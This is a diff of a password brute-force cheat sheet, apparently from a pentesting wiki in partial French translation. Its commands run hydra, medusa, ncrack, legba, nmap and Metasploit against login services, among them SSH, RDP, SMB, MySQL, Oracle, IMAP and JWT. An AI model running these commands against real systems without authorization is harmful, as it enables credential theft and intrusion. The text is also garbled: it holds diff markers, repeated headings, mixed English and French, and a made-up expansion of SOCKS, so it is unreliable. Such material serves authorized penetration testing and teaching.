||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
#### Brute Force
|
||||||
|
|
||||||
|
Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is often used to crack passwords and encryption keys. Brute force attacks can be time-consuming but are effective if the key space is small.
|
||||||
|
|
||||||
|
#### Dictionary Attack
|
||||||
|
|
||||||
|
A dictionary attack is a more sophisticated form of brute force attack where a predefined list of words is used. This list can include commonly used passwords, words from the dictionary, or previously leaked passwords. Dictionary attacks are usually faster and more effective than simple brute force attacks.
|
||||||
|
|
||||||
|
#### Hybrid Attack
|
||||||
|
|
||||||
|
A hybrid attack combines elements of both brute force and dictionary attacks. It starts with a dictionary attack and then appends or prepends numbers, symbols, or other characters to the words in the dictionary. This method is more effective than a simple dictionary attack and can crack passwords that are not in the dictionary.
|
||||||
|
|
||||||
|
#### Rainbow Table Attack
|
||||||
|
|
||||||
|
Rainbow table attacks use precomputed tables to crack password hashes. These tables contain a large number of hashes and their corresponding plaintext passwords. By comparing the hash of the target password to the hashes in the rainbow table, attackers can quickly find the plaintext password. Rainbow table attacks are effective against unsalted hashes but less so against salted hashes.
|
||||||
```bash
|
```bash
|
||||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
|
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
|
||||||
# Use https-post-form mode for https
|
# Use https-post-form mode for https
|
||||||
```
|
```
|
||||||
Pour https, vous devez passer de "http-post-form" à "https-post-form"
|
Pour http**s** vous devez changer de "http-post-form" à "**https-post-form"**
|
||||||
|
|
||||||
### **HTTP - CMS --** (W)ordpress, (J)oomla ou (D)rupal ou (M)oodle
|
### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle
|
||||||
```bash
|
```bash
|
||||||
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
|
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
|
||||||
# Check also https://github.com/evilsocket/legba/wiki/HTTP
|
# Check also https://github.com/evilsocket/legba/wiki/HTTP
|
||||||
```
|
```
|
||||||
### IMAP
|
### IMAP
|
||||||
|
|
||||||
|
#### Brute Force
|
||||||
|
|
||||||
|
Brute forcing IMAP credentials involves trying all possible combinations of usernames and passwords until the correct one is found. This can be done using tools like Hydra or Medusa. It is important to note that brute forcing is illegal and unethical unless you have explicit permission to test the security of a system.
|
||||||
```bash
|
```bash
|
||||||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
|
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
|
||||||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
|
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
|
||||||
|
@ -192,13 +262,21 @@ nmap -sV --script imap-brute -p <PORT> <IP>
|
||||||
legba imap --username user --password data/passwords.txt --target localhost:993
|
legba imap --username user --password data/passwords.txt --target localhost:993
|
||||||
```
|
```
|
||||||
### IRC
|
### IRC
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
Brute-forcing IRC servers is a common technique used to gain unauthorized access to IRC channels. Attackers can use tools like Hydra or Brutus to automate the process of trying different username and password combinations until the correct one is found. This method can be effective if the IRC server does not have protections in place to prevent brute-force attacks.
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
|
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
|
||||||
```
|
```
|
||||||
|
### ISCSI
|
||||||
|
|
||||||
### ISCSI
|
### ISCSI
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
|
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
|
||||||
```
|
```
|
||||||
|
### JWT
|
||||||
|
|
||||||
### JWT
|
### JWT
|
||||||
```bash
|
```bash
|
||||||
#hashcat
|
#hashcat
|
||||||
|
@ -223,11 +301,37 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w
|
||||||
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
|
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
|
||||||
```
|
```
|
||||||
### LDAP
|
### LDAP
|
||||||
|
|
||||||
|
LDAP (Lightweight Directory Access Protocol) is a protocol used for accessing and maintaining directory services over a network. It is commonly used for authentication and storing information about users, groups, and devices in a centralized directory.
|
||||||
|
|
||||||
|
### LDAP
|
||||||
|
|
||||||
|
LDAP (Lightweight Directory Access Protocol) est un protocole utilisé pour accéder et maintenir des services d'annuaire sur un réseau. Il est couramment utilisé pour l'authentification et le stockage d'informations sur les utilisateurs, les groupes et les appareils dans un annuaire centralisé.
|
||||||
```bash
|
```bash
|
||||||
nmap --script ldap-brute -p 389 <IP>
|
nmap --script ldap-brute -p 389 <IP>
|
||||||
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
|
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
|
||||||
```
|
```
|
||||||
### MQTT
|
### MQTT
|
||||||
|
|
||||||
|
#### Brute Force
|
||||||
|
|
||||||
|
Brute forcing MQTT credentials involves trying all possible combinations of usernames and passwords until the correct one is found. This can be done using tools like Hydra or custom scripts.
|
||||||
|
|
||||||
|
#### Dictionary Attack
|
||||||
|
|
||||||
|
In a dictionary attack, a list of commonly used usernames and passwords is used to try to gain unauthorized access to an MQTT broker. Tools like Medusa or custom scripts can be used for this purpose.
|
||||||
|
|
||||||
|
#### Rainbow Table Attack
|
||||||
|
|
||||||
|
A rainbow table attack involves precomputing the hash values of commonly used passwords and comparing them to the hash of the target password. If a match is found, the corresponding plaintext password is known.
|
||||||
|
|
||||||
|
#### Credential Stuffing
|
||||||
|
|
||||||
|
Credential stuffing is the automated injection of breached username/password pairs in order to gain unauthorized access to MQTT brokers. This is typically done using custom scripts or tools like Sentry MBA.
|
||||||
|
|
||||||
|
#### Conclusion
|
||||||
|
|
||||||
|
Brute forcing, dictionary attacks, rainbow table attacks, and credential stuffing are common techniques used to compromise MQTT credentials. It is important to use strong, unique passwords and implement additional security measures to protect MQTT brokers from unauthorized access.
|
||||||
```
|
```
|
||||||
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
|
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
|
||||||
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
|
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
|
||||||
|
@ -238,11 +342,19 @@ nmap -sV --script mongodb-brute -n -p 27017 <IP>
|
||||||
use auxiliary/scanner/mongodb/mongodb_login
|
use auxiliary/scanner/mongodb/mongodb_login
|
||||||
legba mongodb --target localhost:27017 --username root --password data/passwords.txt
|
legba mongodb --target localhost:27017 --username root --password data/passwords.txt
|
||||||
```
|
```
|
||||||
|
### MSSQL
|
||||||
|
|
||||||
|
### MSSQL
|
||||||
|
|
||||||
### MSSQL
|
### MSSQL
|
||||||
```bash
|
```bash
|
||||||
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
|
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
|
||||||
```
|
```
|
||||||
### MySQL
|
### MySQL
|
||||||
|
|
||||||
|
#### Brute Force
|
||||||
|
|
||||||
|
Brute force attacks are a common method used to gain unauthorized access to a MySQL database. Attackers use automated tools to try all possible combinations of usernames and passwords until they find the correct one. This method is effective against weak passwords but can be time-consuming for complex passwords. It is essential to use strong, unique passwords and implement other security measures to protect against brute force attacks.
|
||||||
```bash
|
```bash
|
||||||
# hydra
|
# hydra
|
||||||
hydra -L usernames.txt -P pass.txt <IP> mysql
|
hydra -L usernames.txt -P pass.txt <IP> mysql
|
||||||
|
@ -257,6 +369,10 @@ medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on fir
|
||||||
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306
|
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306
|
||||||
```
|
```
|
||||||
### OracleSQL
|
### OracleSQL
|
||||||
|
|
||||||
|
#### Brute Force
|
||||||
|
|
||||||
|
Brute force attacks against Oracle databases can be carried out using tools like Hydra or custom scripts. These attacks involve trying all possible combinations of usernames and passwords until the correct one is found. It is important to note that brute force attacks can be time-consuming and may trigger account lockout mechanisms if too many failed attempts are made.
|
||||||
```bash
|
```bash
|
||||||
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
|
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
|
||||||
|
|
||||||
|
@ -280,15 +396,33 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
|
||||||
|
|
||||||
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
|
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
|
||||||
```
|
```
|
||||||
Afin d'utiliser **oracle\_login** avec **patator**, vous devez **installer** :
|
Pour utiliser **oracle\_login** avec **patator**, vous devez **installer**:
|
||||||
```bash
|
```bash
|
||||||
pip3 install cx_Oracle --upgrade
|
pip3 install cx_Oracle --upgrade
|
||||||
```
|
```
|
||||||
[Bruteforce hors ligne de hash OracleSQL](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** et **11.2.0.3**) :
|
[Bruteforce de hachage OracleSQL hors ligne](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** et **11.2.0.3**):
|
||||||
```bash
|
```bash
|
||||||
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
|
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
|
||||||
```
|
```
|
||||||
### POP
|
### POP
|
||||||
|
|
||||||
|
#### Brute Force
|
||||||
|
|
||||||
|
##### Description
|
||||||
|
|
||||||
|
POP is a protocol used for receiving emails. Brute forcing a POP login involves trying multiple username and password combinations until the correct one is found.
|
||||||
|
|
||||||
|
##### Tools
|
||||||
|
|
||||||
|
- Hydra
|
||||||
|
- Medusa
|
||||||
|
|
||||||
|
##### Methodology
|
||||||
|
|
||||||
|
1. Identify the POP service.
|
||||||
|
2. Use Hydra or Medusa to brute force the POP login.
|
||||||
|
3. Specify the target POP server, port, protocol, and wordlist.
|
||||||
|
4. Start the brute force attack and wait for the correct credentials to be found.
|
||||||
```bash
|
```bash
|
||||||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
|
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
|
||||||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
|
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
|
||||||
|
@ -300,6 +434,10 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar
|
||||||
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl
|
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl
|
||||||
```
|
```
|
||||||
### PostgreSQL
|
### PostgreSQL
|
||||||
|
|
||||||
|
#### Brute Force
|
||||||
|
|
||||||
|
Brute force attacks against PostgreSQL databases can be carried out using tools like Hydra or Metasploit. These tools can attempt to log in to a PostgreSQL database by trying different combinations of usernames and passwords until the correct one is found. It is important to use strong and unique passwords to protect against brute force attacks.
|
||||||
```bash
|
```bash
|
||||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
|
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
|
||||||
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
|
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
|
||||||
|
@ -311,20 +449,22 @@ legba pgsql --username admin --password wordlists/passwords.txt --target localho
|
||||||
```
|
```
|
||||||
### PPTP
|
### PPTP
|
||||||
|
|
||||||
Vous pouvez télécharger le paquet `.deb` pour l'installation depuis [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)
|
Vous pouvez télécharger le paquet `.deb` à installer depuis [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)
|
||||||
```bash
|
```bash
|
||||||
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
|
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
|
||||||
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
|
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
|
||||||
```
|
```
|
||||||
### RDP
|
### RDP
|
||||||
|
|
||||||
Le RDP, ou Remote Desktop Protocol, est un protocole de Microsoft permettant la connexion à distance à un autre ordinateur. Pour attaquer des systèmes utilisant RDP, les pirates peuvent utiliser des attaques par force brute pour deviner les identifiants de connexion. Des outils comme `Hydra` sont souvent utilisés pour automatiser ces attaques. Il est crucial de sécuriser les accès RDP, notamment en limitant les tentatives de connexion et en utilisant des mots de passe complexes.
|
### RDP
|
||||||
```bash
|
```bash
|
||||||
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
|
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
|
||||||
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
|
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
|
||||||
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
|
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
|
||||||
```
|
```
|
||||||
### Redis
|
### Redis
|
||||||
|
|
||||||
|
Redis (Remote Dictionary Server) est un système de stockage de données en mémoire open source, utilisé comme base de données, cache et courtier de messages. Il prend en charge divers types de structures de données telles que les chaînes, les listes, les ensembles, les hachages, les ensembles ordonnés, les hyperloglogs, les bitmaps et les index géospatiaux. Redis est souvent utilisé pour accélérer les applications en stockant en mémoire des données fréquemment accédées.
|
||||||
```bash
|
```bash
|
||||||
msf> use auxiliary/scanner/redis/redis_login
|
msf> use auxiliary/scanner/redis/redis_login
|
||||||
nmap --script redis-brute -p 6379 <IP>
|
nmap --script redis-brute -p 6379 <IP>
|
||||||
|
@ -332,38 +472,84 @@ hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
|
||||||
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]
|
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]
|
||||||
```
|
```
|
||||||
### Rexec
|
### Rexec
|
||||||
|
|
||||||
|
Rexec is a simple service that allows users to execute commands on a remote system. It is often targeted during brute-force attacks to gain unauthorized access to the remote system.
|
||||||
```bash
|
```bash
|
||||||
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
|
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
|
||||||
```
|
```
|
||||||
|
### Rlogin
|
||||||
|
|
||||||
### Rlogin
|
### Rlogin
|
||||||
```bash
|
```bash
|
||||||
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
|
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
|
||||||
```
|
```
|
||||||
### Rsh
|
### Rsh
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
#### Brute Force
|
||||||
|
|
||||||
|
Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is usually used when the key space is small enough to be searched completely. Brute force attacks are time-consuming and resource-intensive, but they are effective against weak passwords.
|
||||||
|
|
||||||
|
##### Tools
|
||||||
|
|
||||||
|
- Hydra
|
||||||
|
- Medusa
|
||||||
|
- Ncrack
|
||||||
|
|
||||||
|
##### Techniques
|
||||||
|
|
||||||
|
- Dictionary Attack
|
||||||
|
- Hybrid Attack
|
||||||
|
- Rainbow Table Attack
|
||||||
```bash
|
```bash
|
||||||
hydra -L <Username_list> rsh://<Victim_IP> -v -V
|
hydra -L <Username_list> rsh://<Victim_IP> -v -V
|
||||||
```
|
```
|
||||||
|
[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
|
||||||
|
|
||||||
### Rsync
|
### Rsync
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
|
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
|
||||||
```
|
```
|
||||||
|
### RTSP
|
||||||
|
|
||||||
### RTSP
|
### RTSP
|
||||||
```bash
|
```bash
|
||||||
hydra -l root -P passwords.txt <IP> rtsp
|
hydra -l root -P passwords.txt <IP> rtsp
|
||||||
```
|
```
|
||||||
### SFTP
|
### SFTP
|
||||||
|
|
||||||
|
### Force brute
|
||||||
|
|
||||||
|
La force brute est une technique utilisée pour tenter toutes les combinaisons possibles de mots de passe jusqu'à ce que le bon soit trouvé. C'est une méthode courante pour attaquer les services SFTP.
|
||||||
```bash
|
```bash
|
||||||
legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
|
legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
|
||||||
# Try keys from a folder
|
# Try keys from a folder
|
||||||
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
|
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
|
||||||
```
|
```
|
||||||
### SNMP
|
### SNMP
|
||||||
|
|
||||||
|
#### Brute Force
|
||||||
|
|
||||||
|
Brute forcing SNMP community strings is a common technique used to gain unauthorized access to SNMP-enabled devices. This involves systematically trying all possible combinations of characters until the correct community string is found. Tools such as `onesixtyone` and `snmpwalk` can be used to automate this process.
|
||||||
|
|
||||||
|
#### Dictionary Attacks
|
||||||
|
|
||||||
|
Dictionary attacks can also be used to guess SNMP community strings by trying commonly used passwords and phrases. Tools like `onesixtyone` and `snmpwalk` can be utilized for this purpose as well.
|
||||||
|
|
||||||
|
#### SNMP Enumeration
|
||||||
|
|
||||||
|
Once the SNMP community string is obtained, enumeration can be performed to gather information about the device, such as system description, system name, and more. Tools like `snmpwalk` and `snmp-check` can be helpful for SNMP enumeration.
|
||||||
```bash
|
```bash
|
||||||
msf> use auxiliary/scanner/snmp/snmp_login
|
msf> use auxiliary/scanner/snmp/snmp_login
|
||||||
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
|
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
|
||||||
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
|
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
|
||||||
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
|
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
|
||||||
```
|
```
|
||||||
|
### SMB
|
||||||
|
|
||||||
|
### SMB
|
||||||
|
|
||||||
### SMB
|
### SMB
|
||||||
```bash
|
```bash
|
||||||
nmap --script smb-brute -p 445 <IP>
|
nmap --script smb-brute -p 445 <IP>
|
||||||
|
@ -371,19 +557,35 @@ hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
|
||||||
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]
|
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]
|
||||||
```
|
```
|
||||||
### SMTP
|
### SMTP
|
||||||
|
|
||||||
|
SMTP (Simple Mail Transfer Protocol) is a communication protocol for email transmission. It is widely used for sending emails over the Internet.
|
||||||
|
|
||||||
|
### Brute Force Attack
|
||||||
|
|
||||||
|
A brute force attack is a trial-and-error method used to obtain information, such as a user password or personal identification number (PIN). In a brute force attack, automated software is used to generate a large number of consecutive guesses as to the value of the desired data.
|
||||||
|
|
||||||
|
### Dictionary Attack
|
||||||
|
|
||||||
|
A dictionary attack is a technique for defeating a cipher or authentication mechanism by trying to determine its decryption key or passphrase by trying hundreds or sometimes millions of likely possibilities, such as words in a dictionary.
|
||||||
```bash
|
```bash
|
||||||
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
|
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
|
||||||
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
|
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
|
||||||
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]
|
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]
|
||||||
```
|
```
|
||||||
### SOCKS
|
### SOCKS
|
||||||
|
|
||||||
|
SOCKS stands for **S**ocket **O**ver **C**omplete **K**its de **S**écurité. Il est utilisé pour rediriger les connexions réseau à travers un proxy. Les attaquants peuvent utiliser des serveurs SOCKS compromis pour cacher leur identité lors de l'exécution d'attaques de force brute.
|
||||||
```bash
|
```bash
|
||||||
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
|
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
|
||||||
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
|
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
|
||||||
# With alternative address
|
# With alternative address
|
||||||
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080
|
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080
|
||||||
```
|
```
|
||||||
### Serveur SQL
|
### SQL Server
|
||||||
|
|
||||||
|
#### Brute Force
|
||||||
|
|
||||||
|
Brute force attacks against SQL Server can be performed using tools like Hydra, Ncrack, or custom scripts. These tools can help automate the process of trying different combinations of usernames and passwords until the correct one is found. It is important to note that brute force attacks can be time-consuming and may trigger account lockouts or alarms on the target system. It is recommended to use this technique cautiously and with proper authorization.
|
||||||
```bash
|
```bash
|
||||||
#Use the NetBIOS name of the machine as domain
|
#Use the NetBIOS name of the machine as domain
|
||||||
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||||
|
@ -392,6 +594,8 @@ medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssq
|
||||||
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
|
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
|
||||||
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
|
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
|
||||||
```
|
```
|
||||||
|
### SSH
|
||||||
|
|
||||||
### SSH
|
### SSH
|
||||||
```bash
|
```bash
|
||||||
hydra -l root -P passwords.txt [-t 32] <IP> ssh
|
hydra -l root -P passwords.txt [-t 32] <IP> ssh
|
||||||
|
@ -404,15 +608,17 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
|
||||||
```
|
```
|
||||||
#### Clés SSH faibles / PRNG prévisible de Debian
|
#### Clés SSH faibles / PRNG prévisible de Debian
|
||||||
|
|
||||||
Certains systèmes présentent des défauts connus dans la graine aléatoire utilisée pour générer du matériel cryptographique. Cela peut entraîner une réduction considérable de l'espace des clés qui peut être forcée brutalement avec des outils tels que [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Des ensembles pré-générés de clés faibles sont également disponibles, tels que [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
Certains systèmes présentent des failles connues dans la graine aléatoire utilisée pour générer du matériel cryptographique. Cela peut entraîner une réduction drastique de l'espace des clés qui peut être brute-forcé avec des outils tels que [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Des ensembles de clés faibles pré-générées sont également disponibles, comme [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||||
|
|
||||||
### STOMP (ActiveMQ, RabbitMQ, HornetQ et OpenMQ)
|
### STOMP (ActiveMQ, RabbitMQ, HornetQ et OpenMQ)
|
||||||
|
|
||||||
Le protocole texte STOMP permet l'interaction avec des services de mise en file d'attente de messages comme ActiveMQ, RabbitMQ, HornetQ et OpenMQ.
|
Le protocole textuel STOMP permet d'interagir avec des services de file d'attente de messages tels que ActiveMQ, RabbitMQ, HornetQ et OpenMQ.
|
||||||
```bash
|
```bash
|
||||||
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
|
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
|
||||||
```
|
```
|
||||||
### Telnet
|
### Telnet
|
||||||
|
|
||||||
|
Telnet est un protocole de communication utilisé pour se connecter à des appareils distants sur un réseau. Il peut être utilisé pour effectuer des attaques de force brute en essayant de deviner les identifiants de connexion en envoyant de multiples combinaisons de noms d'utilisateur et de mots de passe.
|
||||||
```bash
|
```bash
|
||||||
hydra -l root -P passwords.txt [-t 32] <IP> telnet
|
hydra -l root -P passwords.txt [-t 32] <IP> telnet
|
||||||
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
|
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
|
||||||
|
@ -428,6 +634,10 @@ legba telnet \
|
||||||
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
|
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
|
||||||
```
|
```
|
||||||
### VNC
|
### VNC
|
||||||
|
|
||||||
|
#### Brute Force
|
||||||
|
|
||||||
|
Brute force attacks against VNC servers are common due to the protocol's lack of built-in security features. Attackers can use tools like Hydra or Medusa to automate the process of trying different username and password combinations until the correct one is found. It is important to use strong, unique passwords and consider using additional security measures such as VPNs or firewall rules to protect VNC servers from brute force attacks.
|
||||||
```bash
|
```bash
|
||||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
|
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
|
||||||
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
|
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
|
||||||
|
@ -443,14 +653,16 @@ set RHOSTS <ip>
|
||||||
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
|
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
|
||||||
```
|
```
|
||||||
### Winrm
|
### Winrm
|
||||||
|
|
||||||
|
Winrm (Windows Remote Management) est un protocole de gestion à distance utilisé pour l'administration des systèmes Windows.
|
||||||
```bash
|
```bash
|
||||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||||
```
|
```
|
||||||
